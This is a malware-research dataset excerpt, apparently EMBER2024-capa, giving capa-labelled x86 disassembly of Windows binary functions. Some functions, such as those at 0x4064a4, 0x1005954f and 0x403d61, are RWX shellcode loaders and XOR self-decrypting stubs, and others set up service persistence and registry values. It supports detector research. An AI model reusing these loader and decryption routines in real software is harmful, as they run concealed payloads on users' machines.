joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4064a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x41ccec]
mov dword [0x42d51c], eax
call fcn.0040589a
mov eax, 0xb2d3b
add dword [0x42d51c], eax
mov eax, dword [0x41bd4c]
push 0x40530c
mov dword [0x42de8c], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x40531c
push eax
mov dword [0x42d50c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x42d51c]
mov dword [0x42d508], eax
push 0
call eax
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x42d51c]
mov dword [0x42d47c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004058ae
mov eax, dword [0x42d47c]
mov dword [0x42d510], eax
call eax
xor eax, eax
leave
ret 0x10

Function at 0x4076db
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4184b8]
jne 0x4076e5
repz ret
jmp fcn.0040ccac

Function at 0x4126a4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040840c
and dword [ebp - 4], 0
cmp dword [0x42d1b8], 0
mov ebx, eax
jne 0x412755
push 0x4046f4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x412806
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4046e8
push edi
call esi
test eax, eax
je 0x412806
push eax
call fcn.0040839a
mov dword [esp], 0x4046d8
push edi
mov dword [0x42d1b8], eax
call esi
push eax
call fcn.0040839a
mov dword [esp], 0x4046c4
push edi
mov dword [0x42d1bc], eax
call esi
push eax
call fcn.0040839a
mov dword [esp], 0x4046a8
push edi
mov dword [0x42d1c0], eax
call esi
push eax
call fcn.0040839a
pop ecx
mov dword [0x42d1c8], eax
test eax, eax
je 0x412755
push 0x404690
push edi
call esi
push eax
call fcn.0040839a
pop ecx
mov dword [0x42d1c4], eax
mov eax, dword [0x42d1c4]
cmp eax, ebx
je 0x4127ad
cmp dword [0x42d1c8], ebx
je 0x4127ad
push eax
call fcn.00408415
push dword [0x42d1c8]
mov esi, eax
call fcn.00408415
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4127ad
test edi, edi
je 0x4127ad
call esi
test eax, eax
je 0x4127a4
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4127a4
test byte [ebp - 0xc], 1
jne 0x4127ad
or dword [ebp + 0x10], 0x200000
jmp 0x4127e6
mov eax, dword [0x42d1bc]
cmp eax, ebx
je 0x4127e6
push eax
call fcn.00408415
pop ecx
test eax, eax
je 0x4127e6
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4127e6
mov eax, dword [0x42d1c0]
cmp eax, ebx
je 0x4127e6
push eax
call fcn.00408415
pop ecx
test eax, eax
je 0x4127e6
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42d1b8]
call fcn.00408415
pop ecx
test eax, eax
je 0x412806
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x412808
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10032346
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x10032389
call fcn.10025ea4
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.kernel32.dll_FindResourceA]
test eax, eax
je 0x10032389
push eax
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x100323a4
push edi
call dword [sym.imp.kernel32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.1005954f
test ebx, ebx
mov esi, eax
je 0x100323a2
test edi, edi
je 0x100323a2
push edi
call dword [sym.imp.kernel32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x1003bf37
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
test ebx, 0xffff0000
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
jne 0x1003bf57
cmp dword [edi + 0x54], 0
jne 0x1003bf57
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.10025ea4
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.kernel32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
push esi
push dword [esp + 0x18]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.1003befe
push ebx
mov esi, eax
call dword [sym.imp.kernel32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
ret 8

Function at 0x10040165
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1008a740]
jne 0x1004016f
repz ret
jmp fcn.100475c4

Function at 0x1005954f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1005955e
pop dword [ebp - 0x14]
mov eax, 0x1005955e
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x42180
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x31a1bd01
add ecx, 0xce5e8fab
mov esi, eax
mov edx, 0x496f0967
sub edx, 0x39653967
add edx, dword [ebp - 0x14]
mov ebx, 0x1deab09a
sub ebx, 0xa057885
xor dword [ebp - 8], 0xf6cf61a4
mov edi, dword [edx]
xor edi, ebx
xor dword [ebp - 0x10], ebx
mov dword [esi], edi
xor dword [ebp - 8], 0xf2335d29
add esi, 0x2e7fd9cf
sub esi, 0x2e7fd9cb
add edx, 0x4e91fdf7
add edx, 0xb16e020d
loop 0x100595b3
add eax, 0x478dc037
add eax, 0xb873654c
xor ebx, ebx
add ebx, eax
add eax, 0x59bf3559
sub eax, 0x59bf3554
mov ecx, 0xe9bdab3d
add ecx, 0x264254c3
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401290
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x44b004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [0x44cf28]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], 0x10
mov dword [ebp - 0x1c], 5
mov dword [edi + 8], eax
lea eax, [ebp - 0x24]
push eax
push dword [edi + 4]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0xbb8
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
test eax, eax
je 0x4012f1
xor esi, esi
jmp 0x4012f9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push 0
push 0x200
lea ebx, [edi + 0x11]
push ebx
push 0x400
push esi
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
test esi, esi
je 0x40133e
mov eax, dword [edi + 0xc]
test eax, eax
je 0x40133e
push 0
lea ecx, [ebp - 8]
mov dword [ebp - 8], ebx
push ecx
push 0
push 1
push 0
push 0
push 0
push 2
push eax
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041525a
mov esp, ebp
pop ebp
ret 4

Function at 0x4013e0
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x44b004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
lea eax, [ebp - 0x28]
mov byte [ebp - 0x21], 0
push eax
mov ebx, ecx
mov dword [ebp - 0x28], 0
call fcn.004011d0
test al, al
je 0x401469
push esi
lea eax, [ebp - 0x20]
push eax
push 1
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x401423
xor esi, esi
jmp 0x40142b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push 0
push 0x200
lea eax, [ebx + 0x11]
push eax
push 0x400
push esi
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push dword [ebp - 0x28]
test esi, esi
sete bl
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
mov al, bl
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041525a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x21]
xor ecx, ebp
pop ebx
call fcn.0041525a
mov esp, ebp
pop ebp
ret
Function at 0x401480
Capabilities:
Create service
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x914
mov eax, dword [0x44b004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x400
lea eax, [ebp - 0x508]
mov byte [ebp - 0x911], 0
push 0
push eax
mov edi, ecx
call fcn.00417ec0
add esp, 0xc
lea eax, [ebp - 0x508]
push 0x400
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x910], eax
test eax, eax
je 0x4014e6
xor esi, esi
jmp 0x4014ee
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push 0
push 0x200
lea ebx, [edi + 0x11]
push ebx
push 0x400
push esi
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
test esi, esi
jne 0x40165b
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x508]
mov ecx, edi
push eax
mov eax, dword [edi]
push 1
push 2
push 0x110
push 0xf01ff
call dword [eax + 8]
push eax
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
push eax
push dword [ebp - 0x910]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x90c], eax
test eax, eax
jne 0x40155b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push 0
push 0x200
push ebx
push 0x400
push esi
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test esi, esi
jne 0x401588
push dword [ebp - 0x90c]
call ebx
push dword [ebp - 0x910]
call ebx
test esi, esi
sete bl
test esi, esi
jne 0x401648
mov eax, dword [edi]
mov ecx, edi
mov dword [ebp - 0x90c], 7
call dword [eax]
push eax
push 0x4433a0
lea eax, [ebp - 0x108]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov dword [ebp - 0x910], esi
lea eax, [ebp - 0x910]
push eax
lea eax, [ebp - 0x108]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x401648
push 0x400
lea eax, [ebp - 0x908]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
push 4
lea eax, [ebp - 0x90c]
push eax
push 4
push 0
push str.TypesSupported
push dword [ebp - 0x910]
call edi
lea eax, [esi + 1]
push eax
lea eax, [ebp - 0x908]
push eax
push 1
push 0
push str.EventMessageFile
push dword [ebp - 0x910]
call edi
push dword [ebp - 0x910]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov al, bl
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041525a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x911]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0041525a
mov esp, ebp
pop ebp
ret
Function at 0x4018d0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x44b004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x18], eax
mov esi, ecx
xor eax, eax
mov dword [ebp - 0x10], esi
push edi
mov ebx, edx
mov dword [ebp - 0xc], eax
mov word [ebp - 8], ax
xor edi, edi
nop dword [eax + eax]
mov edx, dword [edi*4 + 0x4459e8]
mov ecx, 7
mov eax, edx
sar edx, 3
and eax, 7
sub ecx, eax
mov eax, 1
shl eax, cl
test byte [edx + esi], al
je 0x401943
mov eax, edi
lea esi, [ebp - 0xc]
sar eax, 3
mov ecx, edi
add esi, eax
and ecx, 7
mov eax, 7
sub eax, ecx
movzx edx, byte [esi]
bts edx, eax
mov byte [esi], dl
mov esi, dword [ebp - 0x10]
inc edi
cmp edi, 0x30
jl 0x401900
lea eax, [ebp - 0xc]
xor edx, edx
sub ebx, eax
lea ecx, [ebp - 0xc]
add ecx, edx
inc edx
mov al, byte [ebx + ecx]
xor byte [ecx], al
cmp edx, 6
jl 0x401950
mov cl, byte [ebp - 0xc]
mov dl, byte [ebp - 0xb]
mov al, cl
shr al, 2
and cl, 3
mov byte [ebp - 0x14], al
mov al, dl
shl cl, 4
and dl, 0xf
shr al, 4
or cl, al
shl dl, 2
mov byte [ebp - 0x13], cl
mov cl, byte [ebp - 0xa]
mov al, cl
and cl, 0x3f
shr al, 6
or dl, al
mov byte [ebp - 0x11], cl
mov cl, byte [ebp - 9]
mov al, cl
mov byte [ebp - 0x12], dl
mov dl, byte [ebp - 8]
and cl, 3
shr al, 2
mov byte [ebp - 0x10], al
mov al, dl
shl cl, 4
and dl, 0xf
shr al, 4
or cl, al
shl dl, 2
mov byte [ebp - 0xf], cl
mov cl, byte [ebp - 7]
mov al, cl
and cl, 0x3f
shr al, 6
or dl, al
mov byte [ebp - 0xd], cl
mov byte [ebp - 0xe], dl
xor ebx, ebx
movzx ecx, byte [ebp + ebx - 0x14]
mov edx, ecx
mov eax, ecx
and eax, 1
shr edx, 1
shl eax, 4
and edx, 0xf
or edx, eax
and ecx, 0x20
movzx eax, bl
or edx, ecx
shl eax, 6
mov al, byte [edx + eax + 0x4457c8]
and al, 0xf
mov byte [ebp + ebx - 0x14], al
inc ebx
cmp ebx, 8
jl 0x4019d0
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx*2 - 0x14]
shl al, 4
or al, byte [ebp + ecx*2 - 0x13]
mov byte [ebp + ecx - 0xc], al
inc ecx
cmp ecx, 4
jl 0x401a10
mov dword [ebp - 0x10], 0
xor eax, eax
nop
movzx esi, byte [eax + 0x4459c8]
mov ecx, 7
mov edx, esi
shr esi, 3
and edx, 7
sub ecx, edx
mov edx, 1
shl edx, cl
test byte [ebp + esi - 0xc], dl
je 0x401a71
mov ecx, eax
lea esi, [ebp - 0x10]
sar ecx, 3
mov edx, eax
add esi, ecx
and edx, 7
mov ecx, 7
sub ecx, edx
movzx ebx, byte [esi]
bts ebx, ecx
mov byte [esi], bl
inc eax
cmp eax, 0x20
jl 0x401a30
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
pop edi
pop esi
mov dword [ecx], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0041525a
mov esp, ebp
pop ebp
ret
Function at 0x404830
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x44b004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.GetSystemFirmwareTable
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x4048d7
push 0
push 0
push 0
push 0x52534d42
call edi
mov ebx, eax
test ebx, ebx
je 0x4048d7
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x4048d7
push ebx
push esi
push 0
push 0x52534d42
call edi
mov ecx, dword [esi + 4]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ecx
push 0
mov dword [0x44cf2c], ecx
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [0x44cf30], eax
test eax, eax
je 0x4048cb
push dword [0x44cf2c]
lea ecx, [esi + 8]
push ecx
push eax
call fcn.00418060
add esp, 0xc
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [0x44cf30]
test edi, edi
jne 0x40490e
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
push edi
push edi
push 0x404690
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [0x44cf30]
test edi, edi
je 0x404a0b
mov esi, dword [0x44cf2c]
cmp esi, 4
jb 0x4049f1
nop dword [eax]
mov al, byte [edi]
cmp al, 0x7f
je 0x4049eb
cmp al, 1
jne 0x4049bb
movzx ecx, byte [edi + 4]
test ecx, ecx
jne 0x40493e
xor eax, eax
jmp 0x404961
movzx eax, byte [edi + 1]
add eax, edi
sub ecx, 1
je 0x404961
nop dword [eax]
cmp byte [eax], 0
je 0x40495b
inc eax
cmp byte [eax], 0
jne 0x404955
inc eax
sub ecx, 1
jne 0x404950
push 0x15
push str.ASUSTeK_Computer_Inc.
push eax
call fcn.00421947
add esp, 0xc
test eax, eax
jne 0x4049bb
movzx eax, byte [edi + 7]
test eax, eax
jne 0x404981
xor ecx, ecx
jmp 0x4049a1
movzx ecx, byte [edi + 1]
add ecx, edi
sub eax, 1
je 0x4049a1
nop dword [eax]
cmp byte [ecx], 0
je 0x40499b
inc ecx
cmp byte [ecx], 0
jne 0x404995
inc ecx
sub eax, 1
jne 0x404990
mov edx, ecx
lea ebx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4049a6
sub edx, ebx
push edx
push ecx
mov ecx, 0x44b87c
call fcn.0040c450
movzx eax, byte [edi + 1]
sub esi, eax
add eax, edi
cmp esi, 2
jb 0x4049eb
cmp byte [eax], 0
jne 0x4049d3
cmp byte [eax + 1], 0
je 0x4049dc
dec esi
inc eax
cmp esi, 2
jae 0x4049c8
jmp 0x4049eb
sub esi, 2
lea edi, [eax + 2]
cmp esi, 4
jae 0x404920
mov edi, dword [0x44cf30]
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [0x44cf30], 0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov dword [0x44cf2c], 0
pop ebx
call fcn.0041525a
mov esp, ebp
pop ebp
ret
Function at 0x407640
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x44b004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
call fcn.004075b0
mov edi, eax
test edi, edi
je 0x407816
push str.GPNV_Get_ActivatedTime
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4077ef
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x38], ebx
xorps xmm0, xmm0
push ecx
movups xmmword [ebp - 0x48], xmm0
call eax
mov esi, eax
push esi
push str._DevAct__GetActivatedTime___GPNV_Get_ActivatedTime_...__function_return__d
call fcn.00404620
add esp, 0xc
test esi, esi
je 0x4076a8
cmp esi, 0xcb
jne 0x4077fc
mov dword [ebp - 0x20], 0xffffffff
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x1c], 0xffffffff
lea edx, [ebp - 0x20]
mov dword [ebp - 0x18], 0xffffffff
mov esi, 0xf
mov dword [ebp - 0x14], 0xffffffff
mov word [ebp - 0x10], 0xffff
mov byte [ebp - 0xe], 0xff
mov dword [ebp - 0x34], 0x30373931
mov dword [ebp - 0x30], 0x2d31302d
mov dword [ebp - 0x2c], 0x30203130
mov dword [ebp - 0x28], 0x30303a30
mov word [ebp - 0x24], 0x303a
mov byte [ebp - 0x22], 0x30
nop
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x407721
add ecx, 4
add edx, 4
sub esi, 4
jae 0x407700
mov ax, word [ecx]
cmp ax, word [edx]
jne 0x407721
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
je 0x407751
lea ecx, [ebp - 0x48]
mov esi, 0xf
lea edx, [ebp - 0x34]
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x407778
add ecx, 4
add edx, 4
sub esi, 4
jae 0x407730
mov ax, word [ecx]
cmp ax, word [edx]
jne 0x407778
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x407778
push str._DevAct__GetActivatedTime___Its_an_empty_datetime
call fcn.00404620
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, bl
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041525a
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x48]
call fcn.00404af0
movups xmm0, xmmword [eax]
pextrw eax, xmm0, 6
movups xmmword [0x44cf48], xmm0
movzx eax, ax
push eax
pextrw eax, xmm0, 5
movzx eax, ax
push eax
pextrw eax, xmm0, 4
movzx eax, ax
push eax
pextrw eax, xmm0, 3
movzx eax, ax
push eax
pextrw eax, xmm0, 1
movzx eax, ax
push eax
movd eax, xmm0
movzx eax, ax
push eax
push str._DevAct__GetActivatedTime___datetime:__04d__02d__02d__02d:_02d:_02d
call fcn.00404620
add esp, 0x20
mov ebx, 1
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, bl
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041525a
mov esp, ebp
pop ebp
ret
push str._DevAct__GetActivatedTime___fail_to_get_GPNV_Get_ActivatedTime_...__function_address
call fcn.00404620
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, bl
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041525a
mov esp, ebp
pop ebp
ret
push str._DevAct__GetActivatedTime___fail_to_load_FWVariableWin32.dll
call fcn.00404620
mov ecx, dword [ebp - 4]
add esp, 4
mov al, bl
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0041525a
mov esp, ebp
pop ebp
ret
Function at 0x4080d0
Capabilities:
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x435dbe
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x70
mov eax, dword [0x44b004]
xor eax, ebp

Function at 0x408760
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x44b004]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
mov dword [ebp - 0xc], 0
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 8], 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREASUSConfig
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40882e
mov edx, dword [ebp + 0x1c]
lea ecx, [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 8]
cmp edx, 0x10
push edi
cmovae ecx, esi
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4087c0
sub ecx, edi
lea eax, [ebp + 8]
push ecx
cmp edx, 0x10
cmovae eax, esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
push 1
push 0
push 0x4446dc
push dword [ebp - 0xc]
call esi
mov edx, dword [ebp + 0x34]
lea ecx, [ebp + 0x20]
mov edi, dword [ebp + 0x20]
cmp edx, 0x10
cmovae ecx, edi
lea ebx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408800
sub ecx, ebx
lea eax, [ebp + 0x20]
push ecx
cmp edx, 0x10
cmovae eax, edi
push eax
push 1
push 0
push str.RandomUUID
push dword [ebp - 0xc]
call esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x40885e
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408854
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4088ae
push edx
push ecx
call fcn.00415293
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x4088a0
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408896
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4088ae
push edx
push ecx
call fcn.00415293
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041525a
mov esp, ebp
pop ebp
ret
call fcn.0041d76b
int3
Function at 0x414a20
Capabilities:
Access peb ldr_data

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x436820
mov eax, dword fs:[0]
push eax
push ebx
push ecx
push esi
mov eax, dword [0x44b004]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.00414550
mov ecx, dword [ebx + 0xc]
mov esi, eax
mov dword [ebp - 4], 0
mov word [esi + 0xc], 0
mov ecx, dword [ecx]
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
movups xmm0, xmmword [ecx]
movups xmmword [esi + 0x10], xmm0
movq xmm0, qword [ecx + 0x10]
movq qword [esi + 0x20], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
mov byte [ebp - 4], 1
lea ecx, [esi + 0x30]
push 0
mov byte [esi + 0x28], 0
call fcn.0040c6b0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0xc